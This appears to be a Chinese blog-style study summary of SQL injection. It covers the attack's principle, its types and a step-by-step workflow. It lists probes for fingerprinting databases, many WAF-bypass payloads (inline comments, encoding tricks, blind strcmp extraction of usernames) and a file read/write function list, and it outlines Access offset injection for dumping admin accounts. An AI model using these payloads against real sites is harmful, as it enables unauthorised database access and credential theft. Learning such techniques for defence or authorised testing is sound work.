这两周的SQL注入总结

SQL注入原理

​ SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

​ 注入本质:

1
将用户提交的恶意代码和原本的SQL 语句进行拼接,将拼接后的语句带入数据库来执行恶意语句,从而达到非授权任意查询的效果。

​ 注入漏洞有两个关键条件:

1
2
3
1.用户能控制输入的内容

2.Web应用把用户输入的内容带入到数据库中执行

SQL注入分类

根据数据库来分可以分为:

1
1.Mysql数据库注入 2. Mssql数据库注入 3.Oracle数据库注入 4.Access数据库注入

根据请求方式不同可以分为:

1
1.GET方式请求注入 2.POST方式请求注入 3.请求头注入

根据sql注入点的参数类型可以分为

1
1.整数型注入 	2.字符型注入

根据sql注入点的反馈类型分

1
2
3
4
1.基于错误显示的sql注入  2.union类型的sql注入
3.布尔类型的sql注入 4.基于时间的sql注入
5.多语句注入 6.内联注入
7...

注入过程

大体分为这几个主要步骤:

1
2
3
4
5
6
7
1.确定请求方式                   2.确定数据库类型  

3.寻找注入点 4. 判断注入点的参数类型

5.判断截断符号 6.根据注入点的反馈类选择注入方法

7.判断WAF过滤字符 8.构建符合标准的注入语句

确定请求方式

HTTP 定义了与服务器交互的不同方法,最基本的方法是 GET 和 POST。

GET方式在客户端通过URL提交数据,数据在URL中可以看到,例如在日常中订购服务:

1
http://www.cnblogs.com/javame/index.htm?servId=2

POST方式数据放置在HTML HEADER内提交,数据在URL中看不到

GET只能传输比较少的数据,安全性较低,POST传输数据较多,安全性也比GET高。

确定数据库类型

获取数据时,每种数据库架构、语法、类型都是不一样的。

1
and (select count(*) from MSysAccessObjects) > 0

返回正常则说明是Access

1
and (select count(*) from sysobjects) > 0

返回正常说明是Mssql

1
and length(user()) > 0

返回正常说明是MySQL

Mssql中可以调用 substring,Oracle 则可调用 substr

寻找注入点

精髓

1
只要和数据库交互的地方都有可能存在注入

一般就是在URL后面的?id=n 后面,网页搜索框中,登陆帐号,请求头。

判断注入点的参数类型

注入点参数类型主要分为:数字型、字符型。

判断数字型:

1
如?id=2 ,将2变为3。在?id=后面设置3-1。如果?id=3-1的页面和2的一样,那么就是数字型注入

判断字符型:

1
常规字符型有' 、"、')、")、))。在?id=2后面分别加入前面的符号。如果报错或者页面回显不正常,那么证明有注入。

判断截断符号

在我们确定是字符还是数字型之后,要判断他的截断符号是什么

数字型

1
直接在语句后面添加要注入的语句即可

字符型

1
2
3
在确定完截断符号之后不断尝试注释符号,直到找到拼接后让页面恢复正常的字符。

常见的有:-- | %23 /**/

根据注入点的反馈类选择注入方法

当我们确定完注释符号和截断符号时就可以选择注入方法了。大致有六种:

1
2
3
1.基于错误显示的sql注入  2.union类型的sql注入
3.布尔类型的sql注入 4.基于时间的sql注入
5.多语句注入 6.内联注入

在这里分情况进行注入

有回显时:

1
可以选择union类型的sql注入和基于错误显示的sql注入

无回显时:

1
可以选择布尔类型的sql注入和基于时间的sql盲注

特殊情况:

1
情况满足可以使用多语句注入。当-- | 等注释符被过滤时可以使用内联注入

判断WAF过滤字符

当我们在注入时可能会遇到and select union等关键字符被WAF过滤的情况,这时候就要肠坏死绕过WAF了。常见的绕过方法如下:

HTTP参数控制:

1
2
3
HPP(HTTP Parameter Polution)重复参数污染

HPF (HTTP Parameter Fragment)HTTP分割注入

白名单绕过:

1
2
3
4
5
基于IP地址的白名单,一般很难绕过

基于应用层的数据白名单,可能造成bypass

特殊目录白名单绕过:admin/dede/install等特殊目录

过滤掉and和or情况下的盲注:

1
2
3
?id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23

?id=strcmp(left((select+username+from+users+limit+0,1),1)0x42)%23

加括号绕过:

1
2
3
4
5
6
7
8
9
?id=-1+union+(select+1,2,3+from+users)%23

?id=(-1)union(select(1),(2),(3)from(users))

?id=(1)or(0x50=0x50)

?id=(-1)union((((()select(1),hex(2),hex(3)from(users)))))

?id=-1 union select 1,{x 2},3

等价函数与命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
函数或变量:

hex()/bin() ==>ascii()

sleep ==> benchmark()

concat_ws() ==> group_concat()

mid()/substr() ==> substring()

@@version/datadir ==> version/datadir()

逻辑符号:

and ==> &&

or ==> ||

利用注释绕过:

1
2
3
4
5
6
7
普通注释:
?id=1/**/union/**/sElect**/1,2,3%23

内联注释:相比普通注释,内联注释用的更多,有一个特性/*!*/只有Mysql能识别,/*!*/表示注释里面的语句会被执行
?id-1/*UNION*/%20/*!SELECT*/%201,2,3
?d=1%0A/**//*!50000%55nlOn*//*yoyu*/all/*%0A*//*!%53eLEct*/%0A/*nnaa*/+1,2,3
/*!50000%55nlOn*/50000表示假如,数据库是5.00.00以上版本,该语句才会被执行

利用编码绕过:

1
2
3
4
5
Unicode编码
单引号:%u0027/%u02b9/%u02bc/%u02c8/%u2032
空格:%u0020/%uff00/%c0%20
左括号:%u0028/%uff08/%c0%28/
右括号:%u0029/%uff09

用特殊字符代替空格:

1
2
3
4
5
6
%09 tab键
%0a 换行
%0c 新的一页
%0d return功能
%0b tab键
%a0 空格

特殊符号:

1
2
3
4
5
反引号`,select`version()`
神奇的"-+.", select+id from users;"+"用于字符串连接,"-"和"."可以逃过空格和关键字过滤
@符号,select @^1.from users;@表用户定义,@@表示系统变量
select-conut(id) test from users;//绕过空格规则
关键字拆分:'se'+'lec'+'t' %s%e%L%E%c%t 1

构建符合标准的注入语句

最后就是将截断符号,注释符,选择后的注入方式,绕过WAF 结合在一起。

注入时常用的函数

函数名称 函数功能 函数名称 函数功能
system_user() 系统函数名 count() 返回执行结果的数量
user() 用户名 concat() 没有分隔符的连接字符串
current_user() 当前用户名 concat_ws() 含有分隔符的连接字符串
session_user() 连接数据库的用户名 load_file() 读取本地的文件
database() 数据库名 into outfile() 写文件
versionI 数据库版本 ascii() 字符串的ASCII代码值
@@datadir 数据库路径 ord() 返回字符串第一个字符的ASCII值
@@basedir 数据库安装路近 mid() 返回一个字符串的一部分
@@version_compile_os 操作系统 substr() 返回7一个字符串的一部分
length() 返回字符串的长度 if() > select if (1>2,2,3); ->3
left() 返回字符串左面的几个字符 strcmp() 比较字符串的内容
floor() 返回小于或等于x的最大整数 ifnull() 假如参数1不为null,则返回值为参数1,否则返回值为参数2
rand() 返回0和1之间的随机数 exp() 返回e的x次方
sleep() 让此语句运行n秒钟

特殊注入方法

除去常见的注入方法之外还有这样的注入方法:

1
2
3
4
5
6
7
二次编码注入

二次注入

偏移注入

外带查询

在这里查漏补缺记一下偏移注入:

access偏移注入

[背景]

1
2
3
1.偏移注入指access偏移注入,主要是由于数据库结构的问题,其他数据库没办法利用

2.用于解决判断出表明,得不到字段的困境。

[偏移注入的特点]

1
2
3
1.看人品和技巧的注入方法,不是%100能成功

2.无需管理帐号密码字段,直接爆破帐号密码。

[利用条件]

1
2
3
1.已知管理表名

2.已直任意字段(一个或多个 多个会增加几率)

[影响偏移注入成功率的因素]

1
2
3
4
5
1.管理表的字段越少越好(最好就三个 1.id 2.帐号字段 3.密码字段)

2.当前注入点的脚本内查询的表内的字段数的字段越多越好(最好有几十个)

3.已知的字段数越多越好

[偏移注入的流程]

1
2
3
4
5
1.判断字段数 

2.判断表名

3.开始偏移注入